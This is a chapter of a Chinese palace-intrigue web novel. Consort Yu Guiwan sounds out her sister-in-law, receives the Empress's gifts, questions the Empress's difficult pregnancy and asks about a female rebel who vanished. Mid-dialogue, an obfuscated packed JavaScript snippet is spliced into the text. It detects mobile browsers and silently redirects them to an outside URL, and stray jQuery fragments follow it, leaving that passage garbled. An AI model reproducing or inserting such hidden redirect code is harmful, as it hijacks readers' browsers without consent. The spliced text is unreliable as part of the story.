“对了,嫂嫂,我瞧着今年雪似乎下得比往年早一些。”虞归晚并未理会安淑君的情绪变化,而是有些担忧地看向窗外,自己以虞家女儿的身份入宫,少不得虞秉中与齐策的交易,所以齐策能摒弃前嫌重新启用虞秉中她并不觉得奇怪,她本以为自己入宫后便与虞家再无瓜葛。
但令她没有想到的是,齐策竟然破天荒的同意安淑君来探看自己,显然是有意让自己与虞家相互扶持,可是他是亲身经历过建昭年间江域与江太后干政之乱的。
是了,虞归晚暗自猛得拍在脑门上,我怎么把这忘了。
自太祖皇帝建国以来,吸取前朝教训,为防后宫干政祸乱朝纲,下令后妃必须选自良家女,即家世清白,却非大富大贵之家,朝中重臣之女禁止入宫。
可是大辰建国百年,纲纪法度多有废弛,这条祖制也便形同虚设了,是以现在,但凡不是身居要职的大九卿之女,皆可入宫,但若女儿封后,便需领一闲职,封个伯爵,从此以后不再干预国事,可偏偏建昭朝出了个权倾朝野的内阁首辅江域,硬一脚踏碎了百年祖制,让其女入主中宫。
到了明嘉朝,朝局更是一片荒唐,冯知念嫁个齐策时,他还是个险些被世人遗忘的皇子,而冯清源已然位列九卿,谁都没能料到这个名不见经也不传皇子,最终登上了这九五之位,冯家也立下了从龙之功的首功。
言官御史们各个心领神会的装聋作哑,再无人提起被江氏踏碎的祖制。
可是齐策毕竟是江氏之乱的亲历者,卧榻之侧岂容他人酣睡,他又怎会允许朝中再出现第二个江域?所以他最终还是把内阁首辅之位给了无妻无子的孤臣方承礼,可是方承礼毕竟老了,这才是他重新启用甚至提携虞家的根本原因吧。
毕竟虞恩怀是出了名的“直言敢谏”之臣,可是这一次他却也选择了沉默。
这就是他说的“游戏”吗?
只是这虞秉中到底够不够资格呢?虞归晚漫不经心地一颗颗捻着佛珠,静静地等着。
寝殿里只有炭火不时发出噼啪声。
这是—试探?安淑君几乎片刻便明白了虞归晚的意思,答道:“娘娘说的是,愚夫这几日已经去周边各县查看过了,说是这雪要是再下一日,便安排官府前去除雪,也备好了赈灾的粮食,以备万一。”
“不愧是虞大人,做事这般妥帖。”虞归晚满意的点点头,她不喜欢只会坐而论道的官员,也不喜欢只会纸上谈兵的朝臣,治国需要走下去,看见民生疾苦,沉疴积弊,看来这虞秉中却是有能臣之资。
只是如今的大辰新帝登基,国库亏空,外有戎狄滋扰边境,内有山匪为祸一方,也不知还有无回天之力,虞归晚不敢细想,只能期待天公不作美,至少让大辰熬过这个冬天,以图来年。
“娘娘谬赞了。”安淑君低头浅笑,她明白自己通过了虞归晚的考验,有机会成为她的盟友。
就在这时魏逢春在外通传道:“皇后娘娘身边的云竹姑姑来了。”
“八成是皇后娘娘听闻嫂嫂来了,特意派人送来赏赐,”虞归晚笑着看向安淑君,吩咐道:“快请进来。”
云竹依旧身着朴素,一身青蓝色宫装站在精巧雅致的暖阁里显得有些局促,她低着头,端端正正朝虞归晚屈膝行礼道:“皇后娘娘听闻虞夫人入宫,特意命奴婢送些薄礼过来,还请娘娘与夫人笑纳,皇后娘娘说雪天路滑,娘娘还病这,不必亲自过去谢恩了。”
冯知念的妥帖温柔,令安淑君甚是感动,但她也知道这是皇后给虞归晚脸面,她也只是配合的做出一副受宠若惊的样子看向虞归晚,虞归晚已经习惯了冯知念的周全妥帖,欣然领受道:“皇后娘娘仁善,臣妾感念,那就有劳姑姑替本宫与嫂嫂谢皇后娘娘赏赐,待本宫病情好转,再亲自登门致谢。”
她说着摆手示意云竹落座。
“谢娘娘,娘娘客气了,皇后娘娘一直念着娘娘想过来看看您,只是娘娘月份大了,行动也有些不便,太医也嘱咐了娘娘少走动为好,还请娘娘不要介怀才是。”
“那娘娘如今怎样了?”虞归晚心中生疑,皇后如今怀胎7月,虽说月份大了,但远没有到即将临盆,不易走动之时,怎得太医会如此叮嘱,她记得青棠怀孕7个月时......心突然猛地一阵抽疼,虞归晚下意识的捂着胸口,强迫自己继续方才的思考,入了宫便再不能感情用事。
“娘娘?”安淑君与云竹都注意到了虞归晚的异常。
虞归晚扯了扯嘴角,露出个勉强的笑容道:“老毛病了,无妨。”
“姑姑可千万别告诉皇后娘娘,免得娘娘孕中忧心。”
云竹陪笑道:“淑妃娘娘说笑了。”
“奴婢还要回去伺候皇后娘娘,便先行告退了,娘娘保重,虞夫人保重。”
虞归晚颌首目送云竹离开,安淑君欲言又止地看着虞归晚。
虞归晚会意地打法所有人退下,压低了声音问道:“我未生养过,不知孕中辛苦,嫂嫂孕中也是这般吗?”
安淑君摇摇头,神色凝重:“虽然女子孕中各有不同,但是似这般七个月便不宜走动的实在不多,而且......”
“许是皇后娘娘小心吧,毕竟是陛下的第一个孩子。”虞归晚打断了冯知念地话,神色同样凝重,她果然没记错,当年大夫也说过女子生产辛苦,最忌久坐不动,可是这样的事皇后娘娘不会不知道,是她的胎有什么问题,还是太过于小心了,虞归晚不得而知,只是毕竟是齐策的第一个孩子,还是不要妄加揣测为好。
“许是吧。”安淑君露出担忧的神色,不再继续刚才的话题,女人生产都是在鬼门关上走一遭,回想起自己当年生产之时,她便觉一阵不寒而栗,她由衷的祈祷皇后生产顺利,每一个女子都能生产顺利。
“陛下已经下旨让冯夫人不日入宫陪产,嫂嫂不必担心。”虞归晚看着冯知念安慰道。
安淑君闻言忙要解释,虞归晚却笑着摆手道:“我知道嫂嫂是物伤其类,我虽未生养过,却也同样感同身受,嫂嫂是个极善良的人。”
虞归晚这番话极尽诚恳,安淑君看向她的眼睛里多了几分崇敬,她分明看出了自己方才不经意间以小人之心度君子之腹,却能如此坦荡的面对自己的揣度,这般玲珑剔透的心肠,实在难得,她也送了口气,就这刚才的话题问道::“娘娘入宫也有段时间,可有喜事?”
“本宫无福。”虞归晚并未多言,她侧耳听着外间动静,问道:“本宫倒是有一事想向嫂嫂打听大听。”
“何事?娘娘请将,臣妇定当知无不言言无不尽。”
“倒也不是什么要紧的事,”虞归晚浅呷一口茶,继续道:“我听闻宛平去年闹过一段时间匪患,后来怎么也不听说了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14962098|161093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“娘娘是听谁说的?”安淑君眸光一凌,心中多了几分警惕。
说起这个宛平山匪,倒是个奇事,匪首文氏,是个女人,一年前,横空出世,自称文女侠,乃齐氏皇族之人,她扬言齐策得国不正,乃是屠戮宗亲,弑兄篡位,适逢朝中重开风闻言事,百官互相攻讦,她趁机笼络了许多官员,打着为建昭帝复仇旗号一度搅得朝中一片大乱。
齐策任命时任羽林卫指挥使霍景泽领兵平叛,霍景泽骁勇无比,出征征不过三日,便击溃叛军,逆贼首领文氏被困瓮城,眼见就要缉拿之时,文氏突然凭空消失了,齐策勃然大怒,不仅下令关押了霍景泽,还命顺天府尹半个月内活捉逆贼,否则提头来见,可是眼下已经过去半年了,竟再无文氏半点消息,她难道真的能凭空消失不成。
因为文氏突然消失,民间便有传言,她真的是蒙冤而死的齐氏皇族下凡伸冤,齐策本就生气,派人捉拿无数传言之人,可是防民之口,甚于防川,朝廷越是打压,流言越是越传越离奇,时至今日,已经演变成了是故去的建昭帝英魂有知,派天星下凡,告知天下万民,齐策弑兄篡位,事成之后便回天上去了。
因此齐策格外忌讳有人提起宛平叛乱一事,虞归晚突然提起,究竟是何意?她有些琢磨不准。
“前几日听陛下随口提起,我竟一问三不知,”虞归晚一副气馁模样道:“许是陛下觉得我无知了吧。”
安淑君松了口气,向虞归晚讲述了宛平山匪之事的经过,只是隐去了山匪的旗号与民间传闻,虞家处境太尴尬,她不得不防备着任何人。
“一伙山匪竟然能笼络如此之多的朝臣攻打京城,也是奇事。”虞归晚眼见安淑君有所隐瞒,也没有深究,能笼络这么多人造反,想也知道旗号会是什么大逆不道的话,当初风闻言事余风尚在,这样的话安淑君不愿意说,她也理解。
只是这文氏真的凭空消失了?她属实不信。
霍景泽她太熟悉不过了,是个极稳重周全之人,能在他的眼皮子底下消失,实在太过匪夷所思。
除非—虞归晚像是突然想起了什么般,一双桃花眼突然点亮。
“对了嫂嫂,昭阳长公主......”
“陛下派人过来传话,说一会过来陪娘娘用膳,请娘娘预备着接驾。”魏逢春的声音在暖阁外响起,虞归晚了然于心,他是不想让安淑君久留。
安淑君会意的起身道:“既然陛下要来,那臣妇就先行告退了,娘娘保重。”
虞归晚也站起身来,二人相携走出暖阁,素秋早已侯在前厅,见二人出来,立刻捧着早已备好的漆红托盘走到虞归晚身侧,虞归晚拿起赤金貔貅项圈递给安淑君,道:“本想着留嫂嫂用膳,可是陛下要来,那我就不留嫂嫂了,这个貔貅项圈是本宫特意命人打造了,送给宝儿,算是我这个做姑姑的一点心意。”
宝儿是虞秉中与安淑君的独子,乳名宝儿,大名虞承嗣,今年不过两岁。
安淑君看着虞归晚手中的项圈,一只活灵活现的貔貅正抱着如意球打滚,体态灵动,做工精致,一看便知是上上珍品,推辞道:“稚子懵懂,怎能担得起娘娘如此厚爱。”
“夫人快拿着吧,这是娘娘对小公子的一片怜爱之心,有道是,长者赐,不能辞,夫人怎能拒绝呢?”素秋接过项圈,放在锦盒里递给一旁的潇潇。